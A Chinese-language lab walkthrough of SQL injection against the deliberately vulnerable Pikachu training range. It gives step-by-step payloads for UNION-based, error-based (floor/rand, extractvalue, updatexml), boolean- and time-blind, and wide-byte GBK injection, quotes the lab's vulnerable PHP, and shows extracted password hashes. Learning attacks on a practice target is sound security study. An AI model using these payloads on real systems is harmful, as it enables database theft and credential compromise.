SQL注入漏洞在OWASP Top 10排行榜中长期位列危害榜首,其中数据库注入漏洞尤为突出。一个严重的SQL注入漏洞可能导致敏感数据泄露、业务中断,甚至直接威胁企业存亡,造成破产等灾难性后果。其危害包括:
-
数据泄露:攻击者可窃取敏感信息,如用户凭证、个人信息或财务数据。
-
数据篡改:恶意修改数据库内容,导致数据完整性受损,如更改用户权限或伪造记录。
-
数据库破坏:攻击者可能删除表、数据库或执行破坏性操作,造成服务不可用。
-
权限提升:通过注入获取管理员权限,控制整个系统或应用程序。
-
绕过认证:操纵查询以绕过登录验证,直接访问受限资源。
综上,SQL注入使我们学习网络安全的必修课。
基本的操作步骤
-
查找SQL注入点
-
测试并判断是否有SQL注入点
-
判断注入点有多少列
UNION SELECT: example.com?id=1 UNION SELECT NULL -- example.com?id=1 UNION SELECT NULL, NULL, NULL -- ORDER BY: example.com?id=1 ORDER BY 3 -- 错误注入: example.com?id=1 AND (SELECT * FROM (SELECT NULL, NULL) a) -- 时间盲注: example.com?id=1 AND IF((SELECT COUNT(*) FROM (SELECT NULL, NULL) a)=2, SLEEP(5), 0) -- -
查看数据库基本信息与所有库名
-
查找表名
-
查找表的列名
-
查找表的数据
-
pikachu靶场主要是找到用户与账号密码
数字型注入(post)
-
判断注入点,针对请求:/pikachu/vul/sqli/sqli_id.ph,通过Burp Suite拦截请求,然后通过
'、"'或"符号进行测试,出现You have an error in your SQL syntax异常,说明这是一个sql注入点。 -
当前应该是一个select请求,那么我们需要判断有多少列
example.com?id=1 ORDER BY 数字 --当数字的值到3时,出现异常,那么说明,当前select请求,有两个列。
-
提取数据库基本信息
@@hostname 获取主机信息 database() 获取数据库名 version() 获取版本号 user() 获取数据库用户我们可以分两次获取这四个信息
UNION SELECT @@hostname,database()-- UNION SELECT user(),version() -- #合并成一个语句 UNION SELECT @@hostname,database() UNION SELECT user(),version() --通过分析,第一个列放在
hello,后面,第二列放在your email is:后面,收集到的信息如下:参数属性 信息 值 @@hostname 主机信息 DESKTOP-HH4386 database() 数据库信息 pikachu user() 数据库用户 root@localhost version() 版本号 57.26 -
获取所有的数据库名
UNION SELECT 1, schema_name FROM information_schema.schemata --收集到的数据库有:
information_schema、mysql、pikachu、performance_schema、sys,其中业务的数据库仅有pikachu -
获取
pikachu数据里面所有的表信息UNION SELECT 1, table_name, 3 FROM information_schema.tables WHERE table_schema='pikachu' --获取到5个表信息:httpinfo、member、message、users、xssblind,其中member或者users应该是我们要的账号信息表
-
获取member与users表的列名,其中第一列值是1的是member表,是2的为users表信息
UNION SELECT 1, column_name FROM information_schema.columns WHERE table_name='member' and table_schema='pikachu' UNION SELECT 2, column_name FROM information_schema.columns WHERE table_name='users' and table_schema='pikachu' -- #注意,这边需要带上and table_schema='pikachu',有可能其他库里面有相同的表名获取表的字段信息:
member:id、username、pw、sex、phonenum、address、email
users:id、username、password、level
分析,其中member中应该与本列相关的表信息,因为有email,其中,username、pw,应该是账号与密码
-
获取member表的详细信息
UNION SELECT username, pw FROM member --经分析这个pw应该是有加密的,并且密码都是一样的,使用www.cmd5.com/解密:
-
再获取users表的详细信息,这边我们使用CONCAT函数,一次性获取跟多列的信息
UNION SELECT id,CONCAT(username, ':',password,':',level) FROM users --e10adc3949ba59abbe56e057f20f883e 123456 670b14728ad9902aecba32e22fa4f6bd 000000 e99a18c428cb38d5f260853678922e03 abc123 综上,完成相关信息的获取。
字符型注入(get)
-
判断注入点,针对请求:/pikachu/vul/sqli/sqli_str.php?name=admin&submit=%E6%9F%A5%E8%AF%A2,通过Burp Suite拦截请求,然后通过
'、"'或"符号进行测试,出现You have an error in your SQL syntax异常,说明这是一个sql注入点。 -
当前应该是一个select请求,那么我们需要判断有多少列,下面两个都是可以的
' union select 1,2 -- ' ORDER BY 3 --注意最后是有空格的,另外需要转下格式
-
获取数据库的基本信息
' UNION SELECT @@hostname,database() UNION SELECT user(),version() -- -
获取所有的数据库名
' UNION SELECT 1, schema_name FROM information_schema.schemata --后续的步骤与数字型注入(post)差不多,仅是前面添加
',后面加空格,即可。
搜索型注入
-
判断注入点,针对请求:
' or 1=1 -- -
当前应该是一个select请求,那么我们需要判断有多少列,下面两个都是可以的
' union select 1,2,3 -- ' ORDER BY 3 -- -
获取数据库的基本信息
ddd' UNION SELECT @@hostname,database(),1 UNION SELECT user(),version(),1 --为了只显示我们要的内容,前面添加
ddd,如果不增加,会把所有的用户查询出来,增加了这个,只显示我们的内容了 -
获取所有的数据库名
ddd' UNION SELECT 1,2, schema_name FROM information_schema.schemata --后续的步骤与数字型注入(post)差不多,仅是前面添加
ddd',后面加空格,之前的都是2列,这边是3列。
xx型注入
-
判断注入点,针对请求输入:
' ORDER BY 2 --根据异常提示有
),如果输入的参数是在()里面,那么我们需要输入:') ORDER BY 2 --能正常数据,输入
') ORDER BY 3 --说明select后面两列;
-
获取数据库的基本信息
') UNION SELECT @@hostname,database() UNION SELECT user(),version() --获取到对应的数据库基本信息。
后续的工作与之前的脚本大同效益,主要是有
),来闭合代码中的脚本,我们这边获取到对应的代码,与我们猜测的一致。if(isset($_GET['submit']) && $_GET['name']!=null){ //这里没有做任何处理,直接拼到select里面去了 $name=$_GET['name']; //这里的变量是字符型,需要考虑闭合 $query="select id,email from member where username=('$name')"; $result=execute($link, $query); if(mysqli_num_rows($result)>=1){ while($data=mysqli_fetch_assoc($result)){ $id=$data['id']; $email=$data['email']; $html.="<p class='notice'>your uid:{$id} <br />your email is: {$email}</p>"; } }else{ $html.="<p class='notice'>您输入的username不存在,请重新输入!</p>"; } }
"insert/update"注入
-
判断注入点,这边我们使用注册信息,注册也就是会新增一个信息。
针对insert/update注入,主要通过报错注入,听过让mysql出现异常,并把异常的内容返回给页面,通过返回的异常内容获取数据库的数据。
- group by 重复键冲突,是利用 count()、rand()、floor()、 group by 这几个特定的函数结合在一起产生的注入漏洞
'or (select 1 from (select count(*),concat(0x5e,(select concat(database(),';',@@hostname,';',user(),';',version()) from information_schema.tables limit 0,1) ,0x5e,floor(rand(0)*2))x from information_schema.tables group by x)a) or'在注册页面任意字典输入脚本即可,我们这边在密码字段输入,下面是返回我们要的数据库信息:
- extractvalue报错异常
' or extractvalue(1, concat(0x5c, (select concat(database(),';',@@hostname,';',user(),';',version())),0x5c)) or '注意这边异常信息太多了,没有完全显示所有的异常内容。
-
updatexml 报错
' or updatexml(1,concat(0x5e,(select concat(database(),';',@@hostname,';',user(),';',version())),0x5e),1) or '一样,并没有显示全部的异常信息。
-
获取数据库表信息,根据之前的情况,使用group by 重复键冲突方式获取,其中使用了GROUP_CONCAT函数,把查询出来的行拼接成一个字符串;
#下面第二行使我们要替换的内容 'or (select 1 from (select count(*),concat(0x5e,( SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata ) ,0x5e,floor(rand(0)*2))x from information_schema.tables group by x)a) or' -
获取
pikachu数据里面所有的表信息'or (select 1 from (select count(*),concat(0x5e,( SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='pikachu' ) ,0x5e,floor(rand(0)*2))x from information_schema.tables group by x)a) or' -
获取表数据信息
'or (select 1 from (select count(*),concat(0x5e,( SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='member' and table_schema='pikachu' ) ,0x5e,floor(rand(0)*2))x from information_schema.tables group by x)a) or' -
获取表信息,这个时候我们需要特殊处理下,
'or (select 1 from (select count(*),concat(0x5e,( SELECT GROUP_CONCAT(CONCAT(username, ' - ',pw) SEPARATOR ';') FROM member ) ,0x5e,floor(rand(0)*2))x from information_schema.tables group by x)a) or'
上面的异常信息不是完整的信息,是被阶段的,最长显示64个字符,要想获取完整数据,我们需要获取到数据的完整长度,然后分批次获取。
获取长度:
'or (select 1 from (select count(*),concat(0x5e,(
SELECT LENGTH(GROUP_CONCAT(CONCAT(username, ' - ',pw) SEPARATOR ';')) FROM member
) ,0x5e,floor(rand(0)*2))x from information_schema.tables group by x)a) or'
324个字符,由于前面都有一个^,那么每次只能去63个字符,取个5次,就能全部取完。
'or (select 1 from (select count(*),concat(0x5e,(
SELECT substring(GROUP_CONCAT(CONCAT(username, ' - ',pw) SEPARATOR ';'),1,63) FROM member
) ,0x5e,floor(rand(0)*2))x from information_schema.tables group by x)a) or'
'or (select 1 from (select count(*),concat(0x5e,(
SELECT substring(GROUP_CONCAT(CONCAT(username, ' - ',pw) SEPARATOR ';'),64,127) FROM member
) ,0x5e,floor(rand(0)*2))x from information_schema.tables group by x)a) or'
'or (select 1 from (select count(*),concat(0x5e,(
SELECT substring(GROUP_CONCAT(CONCAT(username, ' - ',pw) SEPARATOR ';'),128,191) FROM member
) ,0x5e,floor(rand(0)*2))x from information_schema.tables group by x)a) or'
...
通过多次反复获取后,就能获取到完整的数据。
综上,这也章节,我们学习了3种异常注入方法,GROUP_CONCAT、CONCAT、LENGTH、substring四个sql函数。
delete注入
-
判断注入点,我们通过bp拦截后,
send to Repeater -
使用updatexml 报错注入方式
or updatexml(1,concat(0x5e,(concat(database(),';',@@hostname,';',user(),';',version())),0x5e),1)这边需要转码,
;、@算是特殊字符,选中后右键,Converet selection->URL->URL-encode key characters -
获取到数据库的信息后,这边需要注意,updatexml 最多显示32个字符,超过32个字符,则需要多次请求,具体的操作请参考
"insert/update"注入部分。
http头注入
由于很多网站都会收集用户的浏览器信息,如user-agent,http-accept等信息,如果没有对这些信息进行特殊的处理,直接保存到数据库中,那么就会存在http头注入漏洞了。
-
根据登录后返回的结果,判断保存user-agent,http-accept信息,这边可以存在注入点
我们通过bp拦截后,对/pikachu/vul/sqli/sqli_header/sqli_header.php
send to Repeater,输入下面的内容执行' or extractvalue(1, concat(0x5c, (select concat(database(),';',@@hostname,';',user(),';',version())),0x5c)) or '根据上面内容,确认注入点。
-
后续的操作请参考"insert/update"注入部分,原理与此内容是一样的,只是页面的获取方式不同,一个是表单,一个是http头信息。
基于boolian的盲注
当系统没有把异常直接抛到前端展示的时候,我们就无法判断注入的效果,这种情况下的注入,即是盲注。我们只能通过页面的正常与不正常来判断我们的注入情况,即是boolian盲注。这个时候有对应的技巧,就是返回的正常的内容,是不是是否通过我们控制,如这边我们可以随便控制返回两列信息,那么我们就不需要通过枚举来获取我们要的相关信息;
-
判断注入点,我们通过bp拦截后,
send to Repeater-
正常的
' union select 1,2 -- -
异常的
' union select 1,2,3 --
-
-
获取数据库信息,利用能正常返回信息的状态下,只能返回两列信息
' UNION SELECT CONCAT(@@hostname,database()),CONCAT(user(),version()) -- ' UNION SELECT @@hostname,database() --能完整的获取到正确的信息;
-
往后都跟字符型注入一样的步骤了
基于时间的盲注
时间盲注就比boolian盲注条件更加的苛刻了,正确也错误都无法区分,只能通过时间进行区分。
-
判断注入点,通过sleep语句来判断语句是否正确的执行,了快速的判断,我们使用二分法
#延时5秒,我这边需要设置成0.5,如果是5,那么时间太长。服务会挂掉。 ' or 1=1 and sleep(0.5) -- -
获取数据库名称
- 判断数据库名长度
#数据库名长度,如果大于5,暂停0.5毫秒,为true ' or 1=1 and sleep(if(length(database())>5,0.5,0)) -- #5*2,如果大于10,暂停0.5毫秒,为false ' or 1=1 and sleep(if(length(database())>10,0.5,0)) -- #如果大于8,暂停0.5毫秒,为false ' or 1=1 and sleep(if(length(database())>8,0.5,0)) -- #如果大于7,暂停0.5毫秒,为false ' or 1=1 and sleep(if(length(database())>7,0.5,0)) -- #如果大于6,暂停0.5毫秒,为true,得出长度是7 ' or 1=1 and sleep(if(length(database())>6,0.5,0)) ---
获取数据库名称,使用ascii与substr来判断名称
#p,注意需要从ascii对照表来,可以小写,然后数字,知道请求有延迟为止; ' or 1=1 and sleep(if(ascii(substr(database(),1,1))=112,0.5,0)) --这边只提供了第一个字符串查找的脚本,有7个字符,按顺序来检测到全部的数据库的字符;
-
获取表的名称,由于有多个表,那些需要一个表一个表来获取,操作相当的繁琐,下面仅提供思路与脚本(httpinfo)
-
获取第一个表的长度
#其中7是长度值,不断调整这个值,计算出表的长度,第一个表是httpinfo,这个长度是8; ' or 1=1 and sleep(if(length((select table_name from information_schema.tables where table_schema =database() limit 0,1))>7,0.5,0)) -- -
获取表的名称
#httpinfo 第一个字符是h(104) ' or 1=1 and sleep(if(ascii(substr((select table_name from information_schema.tables where table_schema =database() limit 0,1),1,1))=104,0.5,0)) --
limit 0,1:只取第一条记录,第二个表是limit 1,1,依次类推;
104:h字段的ascii码,需要不断调整以获取准确的字符; -
-
获取表的字段信息,参考上面获取表名的逻辑,获取长度,然后获取名称;
-
获取表字段的数据,同上面一样,获取第一条数据的长度,然后是具体的信息;
综上,如果要手动的时间盲注是相当繁琐与耗时的,一般使用工具,即便是使用了工具,也是需要发送大量的请求才能获取到想要的数据,很容易被发现,非不得已才使用这种方式。
下面是这个页面下的核心代码:
if(isset($_GET['submit']) && $_GET['name']!=null){
$name=$_GET['name'];//这里没有做任何处理,直接拼到select里面去了
$query="select id,email from member where username='$name'";//这里的变量是字符型,需要考虑闭合
$result=mysqli_query($link, $query);//mysqi_query不打印错误描述
// $result=execute($link, $query);
// $html.="<p class='notice'>i don't care who you are!</p>";
if($result && mysqli_num_rows($result)==1){
while($data=mysqli_fetch_assoc($result)){
$id=$data['id'];
$email=$data['email'];
//这里不管输入啥,返回的都是一样的信息,所以更加不好判断
$html.="<p class='notice'>i don't care who you are!</p>";
}
}else{
$html.="<p class='notice'>i don't care who you are!</p>";
}
}
wide byte注入
宽字节注入的原理:
宽字节注入的核心在于MySQL对宽字节字符(如GBK编码)的解析方式与应用程序的过滤逻辑不一致,导致转义被绕过。
-
背景:字符编码与转义
-
MySQL字符集:MySQL支持多种字符集,如UTF-8(多字节变长编码)、GBK(双字节编码,常见于中文环境)。
-
应用程序过滤:为了防止SQL注入,应用程序常对用户输入中的单引号(')进行转义,添加反斜杠(\),如:
- 输入:admin'
- 转义后:admin'
- SQL查询:SELECT * FROM users WHERE username = 'admin'';
-
问题:在GBK编码下,某些字节序列被解析为单个宽字节字符,导致转义失效。
-
-
GBK编码的特点
-
GBK是双字节字符集,用于表示中文字符:
- 每个字符由两个字节组成。
- 第一个字节范围:0x81-0xFE。
- 第二个字节范围:0x40-0xFE(部分范围)。
-
单引号'的ASCII编码为0x27,反斜杠\的ASCII编码为0x5C。
-
当应用程序添加反斜杠转义单引号(' -> 0x5C 0x27),MySQL在GBK模式下可能将0x5C 0x27解析为一个宽字节字符(而非')。
-
-
宽字节注入的触发
- 攻击者输入一个宽字节字符(如%df)后跟单引号':
- 示例:输入%df'(URL编码),解码为0xDF 0x27。
- 应用程序转义:0xDF 0x27 -> 0xDF 0x5C 0x27(添加反斜杠)。
- MySQL在GBK模式下:
- 0xDF 0x5C被解析为一个GBK字符(如運)。
- 剩下的0x27仍为单引号',未被转义。
- 结果:单引号未被正确转义,注入成功。
-
靶场核心代码
if(isset($_POST['submit']) && $_POST['name']!=null){ $name = escape($link,$_POST['name']); $query="select id,email from member where username='$name'";//这里的变量是字符型,需要考虑闭合 //设置mysql客户端来源编码是gbk,这个设置导致出现宽字节注入问题 $set = "set character_set_client=gbk"; execute($link,$set); //mysqi_query不打印错误描述 $result=mysqli_query($link, $query); if(mysqli_num_rows($result) >= 1){ while ($data=mysqli_fetch_assoc($result)){ $id=$data['id']; $email=$data['email']; $html.="<p class='notice'>your uid:{$id} <br />your email is: {$email}</p>"; } }else{ $html.="<p class='notice'>您输入的username不存在,请重新输入!</p>"; } }这边设置了sql语句的编码
gbk -
注意细节
发送最终的内容,在输入框输入的,请求会自动转移把%变成%25,如:
%df' or 1=1#会变成%25df' or 1=1#
靶场实操
-
根据宽字节注入原理,我们使用下面的脚本,检测注入点
#url不加密也支持 %df' or 1=1# -
获取数据库信息,结合之前的内容使用下面的脚本
%df' UNION SELECT @@hostname,database() UNION SELECT user(),version() -- -
获取所有的数据库名
%df' UNION SELECT 1, schema_name FROM information_schema.schemata --
结合之前章节的内容一步一步的操作,既能获取到我们要的数据了,差别就是闭合条件是%df'。